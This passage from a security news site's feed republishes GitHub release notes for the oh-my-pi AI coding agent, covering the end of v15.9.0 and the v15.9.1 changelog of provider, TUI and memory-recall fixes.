<li>Fix slow agent Opus priority by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/daandden/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/daandden">@daandden</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4576811309" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1754" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1754/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1754">#1754</a></li>
<li>fix(swarm): remove redundant authStorage discovery from swarm pipeline (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4538706917" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1472" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1472/hovercard" href="https://github.com/can1357/oh-my-pi/issues/1472">#1472</a>) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WodenJay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WodenJay">@WodenJay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4573308608" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1726" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1726/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1726">#1726</a></li>
<li>Fix web search provider TUI options by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/daandden/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/daandden">@daandden</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4568591206" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1685" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1685/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1685">#1685</a></li>
<li>Add cmux terminal surface detection to getTerminalId by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/basedcorp99/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/basedcorp99">@basedcorp99</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4570212330" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1702" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1702/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1702">#1702</a></li>
<li>fix(natives): bound sorted glob scans by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4577407079" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1762" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1762/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1762">#1762</a></li>
<li>fix(tui): cap session accent luminance on light themes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/paweljw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/paweljw">@paweljw</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4571800449" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1715" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1715/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1715">#1715</a></li>
<li>feat(coding-agent): env-driven OTLP trace export for headless hosts by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cgreeno/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cgreeno">@cgreeno</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4581802133" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1797" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1797/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1797">#1797</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/GratefulDave/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/GratefulDave">@GratefulDave</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4584846316" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1808" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1808/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1808">#1808</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fabkho/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fabkho">@fabkho</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4583326357" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1803" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1803/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1803">#1803</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WodenJay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WodenJay">@WodenJay</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4573308608" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1726" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1726/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1726">#1726</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/paweljw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/paweljw">@paweljw</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4571800449" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1715" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1715/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1715">#1715</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cgreeno/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cgreeno">@cgreeno</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4581802133" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1797" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1797/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1797">#1797</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/can1357/oh-my-pi/compare/v15.8.3...v15.9.0"><tt>v15.8.3...v15.9.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v15.9.1]]></title>
<description><![CDATA[@oh-my-pi/pi-ai
Added

Added regional Xiaomi Token Plan login/provider entries (xiaomi-token-plan-sgp, xiaomi-token-plan-ams, xiaomi-token-plan-cn) so omp login can store token-plan keys against the selected region. (#1846)

Fixed

Removed the context-1m-2025-08-07 (1M long-context) beta from the...]]></description>
<link>https://tsecurity.de/de/3580238/tools/v1591/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3580238/tools/v1591/</guid>
<pubDate>Mon, 08 Jun 2026 02:51:01 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>@oh-my-pi/pi-ai</h2>
<h3>Added</h3>
<ul>
<li>Added regional Xiaomi Token Plan login/provider entries (<code>xiaomi-token-plan-sgp</code>, <code>xiaomi-token-plan-ams</code>, <code>xiaomi-token-plan-cn</code>) so <code>omp login</code> can store token-plan keys against the selected region. (<a href="https://github.com/can1357/oh-my-pi/issues/1846" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1846/hovercard">#1846</a>)</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Removed the <code>context-1m-2025-08-07</code> (1M long-context) beta from the Anthropic agent request headers, the OAuth model-discovery header, and the Claude usage-API header. Sending it caused subscription/OAuth requests without long-context credits to fail with <code>429 Usage credits are required for long context requests</code>, breaking Sonnet. The remaining betas are unchanged.</li>
<li>Fixed Kimi K2.x <code>maxTokens</code> on Fireworks and Fire Pass (<code>fireworks/kimi-k2.5</code>, <code>fireworks/kimi-k2.6</code>, <code>firepass/kimi-k2.6-turbo</code>) being inherited from Fireworks <code>/v1/models</code> discovery (<code>max_completion_tokens: 65536</code>) rather than the published Kimi-on-Fireworks output budget, which let callers (and the openai-completions default-injection safety net) ship a budget the router cannot honor and made runaway reasoning traces more likely. The Fireworks resolver now clamps every Kimi K2.x id (public catalog ids and the canonical <code>accounts/fireworks/{models,routers}/kimi-k2…</code> wire form) to 32,768 output tokens, and the generator applies the same cap as a post-processing safety net so the <code>firepass</code> static fallback and the bundled <code>fireworks</code> entries stay in sync across regens. (<a href="https://github.com/can1357/oh-my-pi/issues/1849" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1849/hovercard">#1849</a>)</li>
<li>Fixed Xiaomi Token Plan MiMo OpenAI-compatible tool-call continuations omitting required <code>reasoning_content</code> replay. (<a href="https://github.com/can1357/oh-my-pi/issues/1846" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1846/hovercard">#1846</a>)</li>
<li>Fixed Anthropic prompt caching for OpenAI-compatible Claude proxies by honoring <code>compat.cacheControlFormat: "anthropic"</code> outside OpenRouter. (<a href="https://github.com/can1357/oh-my-pi/issues/1845" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1845/hovercard">#1845</a>)</li>
<li>Fixed Moonshot Kimi K2.6 silently pausing for many seconds between tool calls because the server discarded the <code>reasoning_content</code> that omp was already sending with every assistant tool-call replay. The K2.6 <code>thinking</code> parameter takes an extra <code>keep</code> field whose default (<code>null</code>) ignores historical reasoning, so K2.6 had to re-derive its full chain-of-thought from the user prompt on every iteration of the agent loop. The Moonshot direct (<code>api.moonshot.ai</code>) and Kimi Code (<code>api.kimi.com</code>) wire bodies now send <code>thinking: { type: "enabled", keep: "all" }</code> for <code>kimi-k2.6</code> requests with reasoning enabled, matching Moonshot's documented best practice for multi-step tool-calling agents. The flag is gated on the K2.6 id and the two native hosts because earlier Moonshot models (K2.5 and below) 400 on the unknown field and every Kimi gateway (OpenRouter, OpenCode, Kilo, Fireworks, …) speaks its own thinking shape. (<a href="https://github.com/can1357/oh-my-pi/issues/1838" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1838/hovercard">#1838</a>)</li>
<li>Fixed Alibaba DashScope (Bailian) compatible-mode endpoint <code>400 InternalError.Algo.InvalidParameter: The provided messages input is invalid. The error info is [Unexpected item type in content.]</code> when a screenshot or other image-producing tool result was folded into a known text-only Qwen turn (e.g. <code>qwen3.7-max</code>, <code>qwen-max</code>, <code>qwen3-coder-*</code>) hosted at <code>dashscope.aliyuncs.com/compatible-mode/v1</code>. <code>convertMessages</code> in <code>openai-completions</code> no longer forwards <code>image_url</code> content parts for those text-only id families even when a misconfigured custom provider claims <code>input: ["text", "image"]</code>; multimodal compatible-mode ids such as <code>qwen3.7-plus</code> and <code>qwen-vl-max</code> still rely on the catalog <code>input</code> field. The tool-result branch and the user-content branch both fall back to the standard <code>[image omitted: model does not support vision]</code> placeholder for text-only ids so the model still sees the attachment intent. (<a href="https://github.com/can1357/oh-my-pi/issues/1859" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1859/hovercard">#1859</a>)</li>
</ul>
<h2>@oh-my-pi/pi-coding-agent</h2>
<h3>Added</h3>
<ul>
<li>Added deferred session-title generation so greetings no longer become the session title. A first user message that is only a greeting / acknowledgement / filler ("hi", "thanks", "ok", a bare number, emoji-only, etc.) is now detected deterministically and skips titling entirely — no title model is invoked. Title generation then retries on each subsequent user message while the session stays unnamed, so the title is deduced from the first message that actually describes work. A capable online title model may additionally answer <code>none</code> to decline a non-greeting taskless message (normalized to "no title").</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Changed mid-turn user steers to reach the model inside a wire-only interjection envelope, while transcripts and persisted session history keep the user's original text.</li>
<li>Changed the system prompt to treat user requests for parallel work as <code>task</code> subagent fan-out rather than parallel tool calls.</li>
<li>Changed the Agent Control Center's new-agent description field to use the multiline TUI editor, with Enter inserting lines and Ctrl+Enter generating the spec.</li>
<li>Changed the Agent Control Center and Extension Control Center to accept Left/Right arrow keys for switching tabs (source / provider), in addition to Tab / Shift+Tab — matching the model and settings selectors, whose <code>TabBar</code> already supported arrow navigation.</li>
<li>Refreshed the Ctrl+R history search overlay: the selected row now renders as a full-width <code>selectedBg</code> highlight bar, matched query tokens are highlighted in the accent color, each result shows a right-aligned relative timestamp, and the panel gained an icon'd accent title plus a two-tone keyhint footer. The selector also gained PageUp/PageDown (via the configurable <code>tui.select.pageUp</code>/<code>pageDown</code> keybindings) and Home/End navigation.</li>
<li>Changed Perplexity API-key web search to return more comprehensive results: <code>web_search_options.search_context_size</code> is now <code>high</code> (was <code>medium</code>) for maximum retrieval grounding, the default <code>num_search_results</code> is <code>20</code> (was <code>10</code>) so twice as many sources are surfaced, and <code>return_related_questions</code> is enabled with the response's <code>related_questions</code> now parsed into <code>relatedQuestions</code> (previously dropped). On an identical query this lifted the result from 10 sources / ~410 output tokens to 20 sources / ~1900 output tokens with a structured, multi-section answer; latency tracks model output length, not context size, so the 60s hard timeout headroom is unchanged.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>
<p>Fixed a streamed assistant message freezing at a partial prefix (e.g. only "Nat" of "Natives built, now…") on ED3-risk terminals (Ghostty/kitty/iTerm2/Alacritty), with the final text appearing only after a resize. <code>TranscriptContainer</code> freezes each non-live block by replaying its last live render, but render coalescing can finalize a block's content and append the next block within the same throttled frame — so the block was sealed at its stale mid-stream snapshot and never repainted until the next <code>thaw</code>. The block that was live on the previous render is now recomputed once on the live→frozen transition, sealing it at its final content.</p>
</li>
<li>
<p>Fixed ACP/RPC stdio startup so protocol frames are no longer consumed as one-shot piped prompt input before the JSON-RPC transport starts.</p>
</li>
<li>
<p>Fixed <code>omp completions</code> to await the completion script write before exiting.</p>
</li>
<li>
<p>Fixed <code>AssistantMessageComponent</code> exposing its stable-prefix completion API again so streamed assistant messages remain unstable until explicitly completed.</p>
</li>
<li>
<p>Fixed session restoration to ignore transient fallback model switches (such as automatic context-promotion or retry fallback) so resumed or resumed-switch sessions revert to the configured default model unless the last change was a user-selected temporary model</p>
</li>
<li>
<p>Fixed in-session <code>/resume</code> to restore both the last user-selected temporary model and persisted plan/goal mode state instead of falling back to the default model with plan mode off.</p>
</li>
<li>
<p>Fixed the <code>/resume</code> session picker overflowing short viewports: the visible window was hardcoded to 5 entries (and assumed 3 lines each), but titled sessions render 4 lines, so on a typical-height terminal the picker's header and search box scrolled off the top and the first entry was hidden until you scrolled the terminal up. The visible-entry count is now derived from the live terminal height (budgeting the worst-case 4-line titled entry plus the picker's chrome), so the whole picker fits the viewport and grows on taller terminals.</p>
</li>
<li>
<p>Fixed the Agent Control Center and Extension Control Center dashboards overflowing the terminal: they were mounted inline below the chat transcript, so the combined height exceeded the viewport — the tab bar and controls scrolled off the top into native scrollback, and every state change yanked the view back to the bottom. Both dashboards now render as full-screen overlays sized to the live terminal height (<code>process.stdout.rows</code>), re-fit on resize, fill the viewport, and reserve space for the footer keyhints so the controls stay visible.</p>
</li>
<li>
<p>Fixed Ctrl+R history search results to remain globally sorted by prompt recency after merging FTS prefix matches with substring fallback matches.</p>
</li>
<li>
<p>Fixed Exa web search with no stored or environment credential to use the public Exa MCP fallback again, preserving the auth storage → <code>EXA_API_KEY</code> → <code>mcp.exa.ai</code> resolution order (<a href="https://github.com/can1357/oh-my-pi/issues/1860" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1860/hovercard">#1860</a>).</p>
</li>
<li>
<p>Fixed ACP plan-mode writes to <code>local://PLAN.md</code> so session-local plan artifacts are written to OMP's local artifact root instead of being routed through the editor <code>writeTextFile</code> bridge, avoiding Zen's <code>Internal error</code> and making the plan readable after creation (<a href="https://github.com/can1357/oh-my-pi/issues/1863" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1863/hovercard">#1863</a>).</p>
</li>
<li>
<p>Fixed ACP plan mode stranding the agent at plan approval: entering <code>mode: "plan"</code> now registers a standing <code>resolve</code> handler so the agent's <code>resolve { action: "apply" }</code> no longer fails with <code>No pending action to resolve. Nothing to apply or discard.</code> The handler validates the plan file, asks the ACP client to confirm via <code>unstable_createElicitation</code> when the client supports forms, renames the approved plan to <code>local://&lt;title&gt;.md</code>, and exits plan mode so the agent regains write tools for execution (<a href="https://github.com/can1357/oh-my-pi/issues/1869" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1869/hovercard">#1869</a>).</p>
</li>
<li>
<p>Fixed <code>provider.appendOnlyContext: "auto"</code> staying inactive for Xiaomi Token Plan/SGLang endpoints, preserving prefix-cache hits without forcing append-only mode globally (<a href="https://github.com/can1357/oh-my-pi/issues/1851" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1851/hovercard">#1851</a>).</p>
</li>
<li>
<p>Fixed <code>models.yml</code> compatibility parsing to preserve <code>compat.cacheControlFormat: "anthropic"</code> for custom OpenAI-compatible Claude proxies. (<a href="https://github.com/can1357/oh-my-pi/issues/1845" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1845/hovercard">#1845</a>)</p>
</li>
<li>
<p>Fixed the TUI's <code>Settings → Plugins</code> panel reporting "No plugins installed" when only marketplace plugins were installed. The panel now merges <code>PluginManager.list()</code> with <code>MarketplaceManager.listInstalledPlugins()</code> — the same data source the <code>/plugins list</code> slash command and <code>omp plugin list</code> CLI already used — and tags each row with an <code>[npm]</code> / <code>[marketplace]</code> kind badge, a scope tag, and a shadow indicator for project-shadowed user installs. Selecting a marketplace row opens a new <code>MarketplacePluginDetailComponent</code> whose single <code>Enabled</code> toggle calls <code>MarketplaceManager.setPluginEnabled(pluginId, enabled, scope)</code>, with read-only metadata (version, install path, installed-at, last-updated, git commit SHA) listed below the toggle. The empty-state now lists both install commands (<code>omp plugin install &lt;package&gt;</code> and <code>omp plugin install &lt;name&gt;@&lt;marketplace&gt;</code>) (<a href="https://github.com/can1357/oh-my-pi/issues/1842" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1842/hovercard">#1842</a>).</p>
</li>
<li>
<p>Fixed scoped mnemopi recall in <code>MnemopiSessionState.collectScopedRecallResults</code>/<code>recallResultsScoped</code> to await the async <code>Mnemopi.recallEnhanced</code> so the new auto-derived <code>queryEmbedding</code> flows through. Without this, the embedding-enabled mnemopi backend silently kept running FTS-only on every recall. (<a href="https://github.com/can1357/oh-my-pi/issues/1832" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1832/hovercard">#1832</a>)</p>
</li>
<li>
<p>Fixed the SSH tool renderer inlining multiline remote commands into its single-line status header, which produced a malformed cell where the bordered output block opened mid-command. The renderer now drops the command from the header (which keeps only <code>[host]</code>) and renders the full command in a framed section above <code>Output</code>, mirroring the bash renderer. <code>renderStatusLine</code> also flattens any embedded CR/LF in <code>description</code>, <code>meta</code>, and <code>title</code> so no tool can accidentally expand the header into multiple rows (<a href="https://github.com/can1357/oh-my-pi/issues/1828" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1828/hovercard">#1828</a>).</p>
</li>
<li>
<p>Fixed <code>tsc --noEmit</code> against <code>packages/coding-agent/tsconfig.json</code> reporting 56 errors under TypeScript 5.x (<code>builtin-registry.ts</code> × 46, <code>agent-session-openai-responses-replay.test.ts</code> × 10). The repo's own gate (<code>tsgo</code> / TypeScript 6.x) already accepted the <code>() =&gt; void</code> slash-command handlers, but 5.x rejects them because it does not coerce a <code>void</code>-returning function value into a <code>() =&gt; T | undefined</code> slot. The <code>SlashCommandSpec.handle</code> / <code>handleTui</code> signatures and the test's <code>createPersistedSession</code> <code>populate</code> callback are now expressed as a union of two function types (one returning a <code>SlashCommandResult</code> / target, one returning <code>void</code>), so the existing handler bodies typecheck on both compilers (<a href="https://github.com/can1357/oh-my-pi/issues/1821" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1821/hovercard">#1821</a>).</p>
</li>
<li>
<p>Fixed <code>omp update</code> leaving <code>@oh-my-pi/pi-natives</code> and the platform-specific <code>@oh-my-pi/pi-natives-&lt;tag&gt;</code> leaf at the previous version on <code>bun install -g</code> updates, so the next launch loaded a stale <code>.node</code> file and aborted at <code>validateLoadedBindings</code> with <code>The .node file on disk is from a different release than this loader</code>. <code>omp update</code> now pins the native addon core and the platform leaf to the same version it installs for <code>@oh-my-pi/pi-coding-agent</code> (<a href="https://github.com/can1357/oh-my-pi/issues/1824" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1824/hovercard">#1824</a>).</p>
</li>
</ul>
<h2>@oh-my-pi/pi-mnemopi</h2>
<h3>Breaking Changes</h3>
<ul>
<li>Changed <code>Mnemopi.recall()</code>, <code>Mnemopi.recallEnhanced()</code>, <code>Mnemopi.search()</code>, <code>Mnemopi.query()</code>, the module-level <code>recall</code>/<code>recallEnhanced</code>/<code>search</code>/<code>query</code> exports, the <code>BeamMemory.recall</code>/<code>recallEnhanced</code> methods, the free <code>recall</code>/<code>recallEnhanced</code> functions in <code>core/beam/recall</code>, and <code>orchestrateRecall</code> to return <code>Promise&lt;RecallResult[]&gt;</code> so the recall pipeline can auto-derive <code>queryEmbedding</code> from the query text via <code>embedQuery</code>. Callers must <code>await</code> recall calls; pass <code>queryEmbedding: null</code> to opt out of auto-embedding and stay on FTS-only.</li>
<li>Changed the MCP entrypoints <code>handleToolCall</code>, <code>callToolJson</code>, and <code>handleJsonRpc</code> in <code>mcp-server</code>/<code>mcp-tools</code> to async so the recall/shared-recall handlers can await the new <code>Promise&lt;ToolResult[]&gt;</code> shape; external MCP transports must <code>await</code> these.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed <code>memory_embeddings</code> never being populated by the production <code>remember</code>/<code>rememberBatch</code>/<code>updateWorking</code>/<code>consolidateToEpisodic</code> paths; embedding generation is now scheduled as a background task on <code>beam.pendingExtractions</code> (mirroring <code>scheduleFactExtraction</code>), so configured providers (fastembed, OpenAI-compatible API, custom) actually run and rows land in <code>memory_embeddings(memory_id, embedding_json, model)</code>. (<a href="https://github.com/can1357/oh-my-pi/issues/1832" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1832/hovercard">#1832</a>)</li>
<li>Fixed <code>recall()</code>/<code>recallEnhanced()</code> never deriving a query embedding from the query text, which silently degraded every deployment to FTS-only regardless of provider configuration. The recall pipeline now auto-calls <code>embedQuery(query)</code> when <code>options.queryEmbedding</code> is undefined; pass <code>null</code> to keep the old FTS-only behaviour. (<a href="https://github.com/can1357/oh-my-pi/issues/1832" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1832/hovercard">#1832</a>)</li>
<li>Fixed <code>toRecallOptions</code> dropping <code>queryEmbedding</code> between the <code>Mnemopi</code> facade and the beam layer, so callers can now explicitly pin or disable the query vector through the public API.</li>
<li>Fixed <code>withMemory</code> (CLI) and <code>withBeam</code>/<code>withSharedBeam</code> (MCP) closing the SQLite handle before background fact-extraction and embedding tasks finished, so short-lived <code>mnemopi store</code>/<code>mnemopi sleep</code> and MCP <code>remember</code>/<code>update</code> paths now drain <code>flushExtractions</code> before close instead of silently dropping <code>memory_embeddings</code> rows. CLI handlers and MCP <code>handleRemember</code>/<code>handleUpdate</code>/<code>handleSleep</code>/etc. are async as a result. (<a href="https://github.com/can1357/oh-my-pi/issues/1832" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1832/hovercard">#1832</a>, follow-up to <a href="https://github.com/can1357/oh-my-pi/pull/1833" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1833/hovercard">#1833</a> review)</li>
<li>Fixed the process-wide <code>embedQuery()</code> cache in <code>core/embeddings.ts</code> keying by query text alone, which let two <code>Mnemopi</code> instances in the same process with different providers/models cross-contaminate their <code>dense_score</code> rankings. The cache key now includes a WeakMap-assigned provider identity, the resolved model name, and the configured <code>apiUrl</code>, so disjoint runtimes never read each other's cached vectors. (<a href="https://github.com/can1357/oh-my-pi/issues/1832" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1832/hovercard">#1832</a>, follow-up to <a href="https://github.com/can1357/oh-my-pi/pull/1833" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1833/hovercard">#1833</a> review)</li>
</ul>
<h2>@oh-my-pi/pi-tui</h2>
<h3>Fixed</h3>
<ul>
<li>Fixed the OSC 11 appearance poll re-querying every 2s forever on terminals that support Mode 2031 but never change theme, whose repeated OSC 11/DA1 writes cleared the user's active text selection (breaking copy every 2 seconds). The poll now stops as soon as DECRQM confirms Mode 2031 support, since push notifications make polling redundant.</li>
</ul>
<h2>@oh-my-pi/pi-utils</h2>
<h3>Fixed</h3>
<ul>
<li>Hardened <code>getIndentation</code> against malformed paths: any filesystem error from the <code>.editorconfig</code> probe (e.g. <code>ENAMETOOLONG</code> on oversized garbage path segments) is now swallowed and cached as a miss instead of escaping and crashing the TUI mid-render (<a href="https://github.com/can1357/oh-my-pi/issues/1871" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1871/hovercard">#1871</a>).</li>
<li>Fixed <code>getIndentation</code> (and the edit renderer's <code>replaceTabs</code> callers) crashing with <code>ENAMETOOLONG</code>/<code>ENOTDIR</code>/etc. when handed a path with an overlong component or a non-directory in its parent chain. Editorconfig discovery now short-circuits to the default tab width on any path component above <code>NAME_MAX</code> (255 bytes) and absorbs any <code>FsError</code> while walking the editorconfig chain — best-effort discovery must never escape as an uncaught exception (<a href="https://github.com/can1357/oh-my-pi/issues/1872" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1872/hovercard">#1872</a>).</li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>fix(robomp): backfill partial-clone blobs before worktree add by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4586156887" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1820" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1820/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1820">#1820</a></li>
<li>fix(coding-agent): made slash-command handlers compatible with TypeScript 5.x by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4586302922" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1822" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1822/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1822">#1822</a></li>
<li>fix(coding-agent): sync pi-natives on omp update by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4586537250" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1825" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1825/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1825">#1825</a></li>
<li>fix(tools/ssh): render multiline remote commands in a framed body block by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4586853964" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1830" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1830/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1830">#1830</a></li>
<li>fix(mnemopi): populated memory_embeddings on remember and auto-derived queryEmbedding on recall by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4587474942" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1833" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1833/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1833">#1833</a></li>
